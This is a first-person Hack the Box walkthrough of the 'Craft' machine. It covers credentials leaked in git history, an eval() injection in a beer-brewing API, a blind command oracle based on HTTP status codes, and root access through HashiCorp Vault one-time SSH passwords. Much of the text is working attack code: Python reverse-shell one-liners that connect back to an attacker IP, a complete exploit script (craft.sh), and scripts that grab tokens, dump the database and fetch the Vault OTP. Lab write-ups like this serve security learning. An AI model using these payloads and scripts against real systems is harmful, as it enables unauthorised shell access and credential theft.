Craft is a medium Hack the Box machine and the whole thing is one mistake repeated four times. A public Gogs server holds the API source, the git history holds a working password, and a private repository holds the developer’s own SSH key, protected by a passphrase I had already dumped.
The bug is one line of Python that runs eval() on the ABV value of a beer. Every wrong attempt came back with the same useless error and the correct one came back as a 500. Root came from HashiCorp Vault, which hands out one-time root SSH passwords to any source address.
There are two videos covering this box. Part 1 is recon through to the user flag, part 2 is the Vault route to root.
Recon
Three ports, and one of them is not what it looks like.
# Nmap 7.99 scan initiated Tue Oct 6 17:21:36 2026 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,443,6022 -4 -sV -sC -Pn -vvv --open -oA recon/scan 10.129.12.212
Nmap scan report for craft.htb (10.129.12.212)
Host is up, received user-set (0.36s latency).
Scanned at 2026-10-06 17:21:37 WITA for 56s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
| 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http syn-ack ttl 62 nginx 1.15.8
|_http-title: About
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Issuer: commonName=Craft CA/organizationName=Craft/stateOrProvinceName=New York/countryName=US/emailAddress=admin@craft.htb/organizationalUnitName=Craft/localityName=Buffalo
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-02-06T02:25:47
| Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.15.8
6022/tcp open ssh syn-ack ttl 62 Golang x/crypto/ssh server (protocol 2.0)
| ssh-hostkey:
| 2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The certificate names craft.htb and is issued by Craft CA, an internal self-signed CA rather than a public one.
Port 6022 answers SSH but the banner says Golang x/crypto/ssh. That is not OpenSSH, it is Gogs serving git over SSH. I wrote it down as an alternate SSH port, which set up a wrong assumption I had to unpick later.
And http-methods on 443 lists only OPTIONS HEAD GET. The apex vhost takes no writes at all, which is one clue that the application lives on another vhost.
https://10.129.12.212 [200 OK] Bootstrap[3.1.1], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.15.8], IP[10.129.12.212], JQuery[1.11.1], Modernizr[2.8.2.min], Script[text/javascript], Title[About], nginx[1.15.8]
The apex domain came straight out of the scan, nmap resolves the IP back to craft.htb. The page served on it linked through to the Gogs git server, which is how the git subdomain turned up. The nginx config in the leaked repository later filled out the rest of the estate: one vhost per subdomain, craft.htb, api.craft.htb, git.craft.htb, auth.craft.htb and vault.craft.htb, all on the single 443 listener. Add them all to /etc/hosts and the box stops being one website and becomes five.
The git server is public
git.craft.htb runs Gogs
, and it has a public craft-api repository. Pulling it down locally put the complete API source on disk. Both the vulnerable line and the working credentials came out of reading that source rather than out of probing the endpoint.
The bug. Commit c414b16, titled Add fix for bogus ABV values, adds this to craft_api/api/brew/endpoints/brew.py:
# make sure the ABV value is sane.
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
The abv value is spliced into a string of source code and then parsed. That is the entry point, and it is sitting in a commit message about fixing bad beer data.
The credentials. tests/test.py logs into the API with HTTP basic auth. Commit a2d28ed, titled Cleanup test, blanks those credentials. But it only blanks them in the working tree at that commit. The parent commit 10e3ba4 still has them:
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', 'REDACTED'), verify=False)
That is the classic one. The secret is removed, the removal is committed, and the history keeps the secret forever. Anyone who knows how git log -p works has the password.
auth.py compares basic auth directly against the user table and returns a JWT signed with CRAFT_API_SECRET, valid for five minutes. So no token forgery is needed at all, I just log in and take a fresh token.
curl -ks -u 'dinesh:REDACTED' https://api.craft.htb/api/auth/login | jq -r .token
The token in the repo is years expired
Before I found the git history route I tried the token that was sitting in the repository text, and it failed.
-H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.*****************'
{"message": "Invalid token or no token found."}
Decoding the payload shows exp of 1549385242, which is February 2019. auth.py calls jwt.decode(token, secret), and PyJWT verifies exp by default. The except around it is bare, so an expired token, a bad signature and a missing header all collapse into the same 403 string. That is worth knowing before you start hunting for a signature bug. The error is not telling you which of three things went wrong.
Forging a token would need CRAFT_API_SECRET, and that lives in craft_api/settings.py, which is in .gitignore. It is not in the repository and it is not in the history. So the token route is closed from the outside, and the git history password is the way in.
Content type before payload
This is the error that ate the most time, and it is not an injection problem at all.
My first attempt posted a form-encoded body:
curl -k 'https://api.craft.htb/api/brew/' \
-H 'X-Craft-API-Token: <token>' \
-X POST --data '{"name":"bullshit","brewer":"bullshit","style":"bullshit","abv":"curl http://10.10.15.49:8081/test;")}'
{"errors": {"": "None is not of type 'object'"}, "message": "Input payload validation failed"}
I read that as a payload problem. It is a content type problem. request.json is None unless the request carries Content-Type: application/json, and curl --data-raw defaults to x-www-form-urlencoded. flask-restplus hands the schema validator a None and reports the schema failure, which is technically accurate and completely misleading.
I hit the identical error again on a PUT to /api/brew/12, and only then wrote the actual lesson down: missing content type, not a bad token, not a bad payload.
eval takes an expression, not a script
The Gogs issue text suggested a payload of abv="15.0")". That does not work, and the reason is the whole point of this bug.
eval() parses a Python expression. Statements are a SyntaxError, so no semicolons, no assignments, no import x. And because the value is spliced into the template '%s > 1', validity is judged on the whole spliced text. There is no open quote or parenthesis to escape out of, so there is nothing to break out of. I reproduced this locally against the same template:
abv | spliced source | result |
|---|---|---|
0.050 | 0.050 > 1 | False |
15.0 | 15.0 > 1 | True, the 400 branch |
15.0") | 15.0") > 1 | SyntaxError |
0.050;curl http://x;0.050 | 0.050;curl http://x;0.050 > 1 | SyntaxError |
__import__("os").system("id") | __import__("os").system("id") > 1 | runs, returns an int |
So the payload has to be one single expression that evaluates to something comparable to 1. __import__("os").system(...) is exactly that.
One more thing the source told me. The vulnerable eval() is in the POST handler. The PUT handler calls update_brew() and never touches eval(). The obvious place to tamper with a beer is not the vulnerable place, which is why my PUT attempts were never going to land even with the right content type.
A 500 means it worked
models.py declares the column as abv = db.Column(db.Numeric). So any non-numeric abv string sails through eval() and then fails at the MySQL insert:
if eval('%s > 1' % request.json['abv']): # your code runs here
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json) # ...and this 500s on the INSERT
Both 400 and 500 mean the expression executed. The status code is not a success signal, and 500 in particular looks like failure when it means the opposite.
My first script threw away the response body with -o /dev/null, which hid which branch had fired. The second version kept the body and forced the expression to always yield 0, so the comparison is always False and the response is always the insert failure regardless of what the command returned:
[__import__('os').system('CMD'), 0][1]
That is a list index trick. os.system() runs, its return value is discarded, and the expression evaluates to the second element, 0.
Using the HTTP status as an oracle
Here is the part of this box I actually want to keep.
os.system() returns the command’s wait status, which is the exit code shifted left by 8 bits. In this endpoint that return value is the left operand of > 1. So the HTTP status becomes an oracle for the exit status of a command whose output I cannot see:
| Response | Meaning |
|---|---|
500 | exit status 0, the command succeeded |
400 | non-zero exit status |
400 after 1792 | exit 7, connect failed |
400 after 32512 | exit 127, binary not found |
Two probes settled the shape of the container without a shell:
ORACLE=1 CMD='test -x /bin/sh' ./craft.sh # 500, so /bin/sh is present
ORACLE=1 CMD='test -x /bin/bash' ./craft.sh # 400, so bash is absent
No bash. The earlier curl probe returning 400 also pointed at exit 127, which means curl is not installed in the container rather than egress being blocked. Both facts matter, because every payload I had written assumed a shell with curl and bash in it.
The shell that connects and then dies
I switched to an in-process payload, which sidesteps the missing binaries and the nested quoting entirely. exec() is a function in Python 3, so it is a valid single expression:
exec("import socket,os,subprocess;s=socket.socket();s.connect(('10.10.15.49',4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(['/bin/sh','-i'])")
That connected. To a penelope listener, and this is the important bit:
[-] Invalid shell from 10.129.12.212
I read that as a failure. It is the opposite. The box did connect back, so TCP egress works and the payload ran. Penelope only rejected it because its banner fingerprint did not match, and a shell with no prompt sent immediately does not match. Use plain nc -lvnp 4444 for this, not a fingerprinting listener.
Then nc caught the connection and the shell died instantly. That was the pty.spawn('/bin/bash') in the earlier version throwing, because the container has no bash and no pty device. The fix is /bin/sh, which the oracle had already told me was there.
The version that finally held used the interpreter the application itself runs on, python:3.6-alpine:
nc -lvnp 4444
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.49",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("sh")'
Wrapped into the abv field, with the escaping chain running JSON, then Python string literal, then /bin/sh, then python3 -c:
PAYLOAD="__import__('os').system(\"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"10.10.15.49\\\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"sh\")'\")"
curl -ks -X POST https://api.craft.htb/api/brew/ \
-H 'Content-Type: application/json' \
-H "X-Craft-API-Token: $TOKEN" \
--data-raw "$(jq -nc --arg abv "$PAYLOAD" '{brewer:"probe",name:"probe",style:"probe",abv:$abv}')"
jq -nc --arg does the JSON escaping for me. Writing that escaping by hand is how I got the first version wrong, where the quotes around sh came out one level short.
The in-process variant also produced a useful error. exec() returns None, so eval() raises '>' not supported between instances of 'NoneType' and 'int', and that is exactly the 500 the box returned. Matching my local error string to the remote one is what confirmed the payload was running.
The settings file that was never committed
craft_api/settings.py is in .gitignore, so it is not in the repository. It is on disk in the container though, and it is the most valuable file on the box:
CRAFT_API_SECRET = 'REDACTED'
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'REDACTED'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
Check the running container, not just the repository. The files that are deliberately excluded from git are exactly the files that hold the secrets, and they are still sitting on the filesystem.
db is a docker-compose service name, resolvable only from inside the container network. There is no mysql client in the image, but the application ships pymysql:
python3 -c "import pymysql as p;c=p.connect(host='db',user='craft',password='REDACTED',db='craft',cursorclass=p.cursors.DictCursor);cur=c.cursor();cur.execute('select * from user');print(cur.fetchall())"
dinesh / REDACTED
ebachman / REDACTED
gilfoyle / REDACTED
One small trap in that one-liner. Backticks inside it get eaten by /bin/sh as command substitution before Python ever sees them. My first MySQL query used backtick-quoted identifiers and silently ran something else. Unquoted select * from user works fine.
Cleartext passwords. I tried them against SSH on 22 and got nothing, which is a lesson in itself: credential reuse has a service context. These are application accounts, and the service that accepts them is the one on 443.
So I went back to the git server and tried gilfoyle there.
gilfoyle’s repo, and his own private key
Logging into Gogs as gilfoyle with his database password exposes a private repository, craft-infra. It is the entire deployment: docker-compose.yml for the vault, db, api and repo containers, the nginx vhost config, a vault/ directory, and a .ssh/ directory.
craft-infra/.ssh/id_rsa -----BEGIN OPENSSH PRIVATE KEY-----
craft-infra/.ssh/id_rsa.pub ssh-rsa AAAA... gilfoyle@craft.htb
A developer committing his own private key to a repository is bad enough. The key is passphrase-protected, which looks like the one thing that went right here. The passphrase is the same password that was sitting in the MySQL user table.
cp craft-infra/.ssh/id_rsa ./gilfoyle_key && chmod 600 ./gilfoyle_key
ssh -i ./gilfoyle_key gilfoyle@craft.htb # passphrase: REDACTED
That is the shell for the user flag. user.txt sits in gilfoyle’s home directory, and the same directory also holds a .vault-token file, which is the credential the next stage needs.
Vault hands out one-time root passwords
Back in the repository, vault/secrets.sh documents how the SSH server authenticates:
vault secrets enable ssh
vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
An SSH secrets engine, a role that hands out one-time passwords for root, and a CIDR list that accepts any source address. nginx.conf proxies vault.craft.htb to https://vault:8200/, so the Vault API is reachable from outside the container network, and the token from gilfoyle’s home directory is a credential it will accept.
I guessed the read path wrong first. The repo wording sent me to ssh/one_time/root_otp, which returned:
unsupported path
That error is worth memorising, because it is not an authentication failure. unsupported path means the endpoint or method is wrong and the token was fine. An invalid token gives permission denied. Checking the mount list confirmed the engine was there:
mounts = cubbyhole, identity, secret, ssh, sys
And the role read back exactly as the setup script described, key_type=otp, default_user=root, cidr_list=0.0.0.0/0, port=22. The real read path is POST /v1/ssh/creds/<role>:
curl -ks -X POST \
-H "X-Vault-Token: $VAULT_TOKEN" \
-H "Content-Type: application/json" \
-d '{"ip":"10.129.12.212","username":"root"}' \
https://vault.craft.htb/v1/ssh/creds/root_otp
{ "data": { "key": "REDACTED", "key_id": "REDACTED", "port": 22 } }
With key_type=otp, data.key is the password. It is single use, so spend it immediately.
The last wrinkle is the SSH authentication method. The server offers publickey,keyboard-interactive and nothing else, because Vault’s SSH helper handles authentication and prints its own ASCII art banner on connect. There is no password method, so forcing PreferredAuthentications=password gets an instant Permission denied.
ssh -o PubkeyAuthentication=no \
-o PreferredAuthentications=keyboard-interactive \
root@craft.htb
Paste the OTP at the keyboard-interactive prompt.
root@craft:~# id
uid=0(root) gid=0(root) groups=0(root)
Dead ends worth keeping
Port 6022 is not a login target. My synopsis said the Vault OTP root login would land there. It does not. 6022 is Gogs serving git over a Go x/crypto/ssh listener, and the OpenSSH that Vault fronts is on 22. The docker-compose.yml in the leaked repo settled it, because it maps 6022:6022 to the repo container. Guessing at a service from its port number is how you end up attacking a git server.
The 15.0") payload from the issue tracker was never a payload. It was someone illustrating the bug in prose. I ran it, got a 500, and spent time trying to work out why a working payload was not working.
The database passwords do not work on SSH. Three cleartext credentials, none of them valid for a shell. The reuse target was Gogs, and that is where the private key was.
Penelope rejected a shell that had actually worked. The Invalid shell from 10.129.12.212 line is a fingerprint mismatch, not a failed connection. It cost me a detour into wondering whether egress was filtered, when the answer was to use nc.
The scripts I left behind
Three shell scripts and one Python file did the work. These are the final versions. The ORACLE=1 and RSH=1 modes are not in craft.sh, because those were iterations I replaced rather than kept, and the listener port in the script is 4445.
get_token.sh
Trade the leaked git history password for a live five minute token, then prove the API accepts it on a harmless endpoint before spending it on the exploit.
#!/usr/bin/env bash
# get_token.sh - trade dinesh's leaked creds for a live JWT (valid 5 minutes)
# usage: ./get_token.sh -> prints token, saves it in ./.token
# source ./get_token.sh -> also exports $TOKEN into your shell
# (no `set -e`: sourcing this must not change your interactive shell's options)
API='https://api.craft.htb'
USER='dinesh'
PASS='REDACTED'
# -u sends HTTP basic auth; auth.py compares it straight against the user table
resp=$(curl -ks -u "$USER:$PASS" "$API/api/auth/login")
token=$(printf '%s' "$resp" | jq -r '.token // empty')
if [[ -z "$token" ]]; then
echo "login failed: $resp" >&2
exit 1
fi
printf '%s\n' "$token" | tee "$(dirname "$0")/.token"
# confirm the token is accepted before you burn it on the brew POST
curl -ks -H "X-Craft-API-Token: $token" "$API/api/auth/check"
export TOKEN="$token"
That last curl against /api/auth/check is the habit worth stealing. Prove the credential works on a read-only endpoint before you spend it on the thing that matters.
craft.sh
The whole entry chain in one file, login through POST.
#!/usr/bin/env bash
# craft.sh - craft.htb reverse shell via the eval() in POST /api/brew/
# ./craft.sh
# Listener: nc -lvnp 4444
API='https://api.craft.htb'
LHOST='10.10.15.49'
LPORT='4445'
# 1. leaked dinesh creds -> fresh JWT (auth.py compares basic auth to the user table)
token=$(curl -ks -u 'dinesh:REDACTED' "$API/api/auth/login" | jq -r '.token // empty')
[[ -z "$token" ]] && { echo "login failed" >&2; exit 1; }
echo "token: $token"
# 2. brew.py: if eval('%s > 1' % request.json['abv'])
# Your python3 -c reverse shell, run through os.system(). Escaping chain:
# JSON <- jq escapes the double quotes
# python<- \" inside os.system("...") becomes a literal " in the shell command
# shell <- the python3 -c code is single-quoted, so its " pass through clean
# Two dependencies the in-process version did not have: python3 on PATH, and
# a pty for pty.spawn("sh"). If the shell lives, the request HANGS (that is
# the success signal); an instant 400 means os.system returned nonzero.
PAYLOAD="__import__('os').system(\"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"$LHOST\\\",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\\\"sh\\\")'\")"
BODY=$(jq -nc --arg abv "$PAYLOAD" \
'{brewer:"probe", name:"probe", style:"probe", abv:$abv}')
echo "body: $BODY"
curl -ks -X POST "$API/api/brew/" \
-H "Content-Type: application/json" \
-H "X-Craft-API-Token: $token" \
--data-raw "$BODY" \
-w '\nhttp_code: %{http_code}\n'
The comment block over the payload is the part I would want if I came back to this in six months. It records the escaping chain in the order the layers get peeled, JSON, then the Python string literal, then /bin/sh, then the python3 -c code. It also records the success signal, which is counterintuitive: a hanging request means the shell lived.
vault_otp.sh
Fetch the one-time root password and open the SSH session.
#!/usr/bin/env bash
# vault_otp.sh - pull a one-time root password from craft's Vault, then spend it on SSH.
#
# ./vault_otp.sh <vault-token> fetch + print the OTP, then ssh root@craft.htb
# ./vault_otp.sh <vault-token> --print just print the OTP, do not connect
#
# The role comes from craft-infra/vault/secrets.sh: ssh/roles/root_otp,
# key_type=otp, default_user=root. With key_type=otp the "key" field IS the
# password. It is single-use and short-lived - if the ssh fails, fetch a new one.
TOKEN="${1:?usage: ./vault_otp.sh <vault-token> [--print]}"
MODE="${2:-ssh}"
# the host you will actually connect to - must fall inside the role's cidr_list
BOX='10.129.12.212'
VAULT="https://vault.craft.htb/v1/ssh/creds/root_otp"
# POST /v1/ssh/creds/:name (NOT one_time - that path does not exist, hence
# "unsupported path"). ip is required and is checked against the role's
# cidr_list; username defaults to the role's default_user (root).
resp=$(curl -ks -X POST -H "X-Vault-Token: $TOKEN" -H "Content-Type: application/json" \
-d "{\"ip\":\"$BOX\",\"username\":\"root\"}" "$VAULT")
otp=$(printf '%s' "$resp" | jq -r '.data.key // empty')
if [[ -z "$otp" ]]; then
echo "no key in response: $resp" >&2
echo "(bad token, or the role name is wrong)" >&2
exit 1
fi
echo "otp: $otp"
printf 'port: %s\n' "$(printf '%s' "$resp" | jq -r '.data.port // "?"')"
[[ "$MODE" == "--print" ]] && exit 0
# Run ssh attached to YOUR terminal and paste the otp when challenged. The
# askpass/setsid trick does not reliably feed keyboard-interactive, which is
# why the automated attempt kept getting a clean denial.
echo
exec ssh -o PubkeyAuthentication=no \
-o PreferredAuthentications=keyboard-interactive \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
root@craft.htb
The comment at the bottom is a note I wrote to myself in real time. Trying to feed the OTP programmatically kept getting a clean denial, because keyboard-interactive does not take the usual askpass route. So the script prints the OTP and then hands over an interactive ssh for me to paste it into. Sometimes the automation is not worth it.
dbdump.py
The database read, as a file rather than a shell one-liner. Writing it to disk is what dodges the backtick problem, because /bin/sh never sees the query.
import pymysql as p
c = p.connect(host='db', user='craft', password='REDACTED', db='craft',
cursorclass=p.cursors.DictCursor)
cur = c.cursor()
cur.execute('show tables')
print(cur.fetchall())
cur.execute('select * from `user`')
print(cur.fetchall())
Resources
- Hack the Box machine page for Craft
- Vault SSH secrets engine, one-time SSH passwords
- Python 3 documentation for the eval builtin
- Python 3 documentation for os.system, including the return value
- Flask request object documentation, covering request.json and the content type requirement
- PyJWT documentation
- Gogs project homepage
Related posts: Hack Smarter - Slayer | Hack Smarter - Aftermath | Hack the Box - Cap | Hack the Box - Code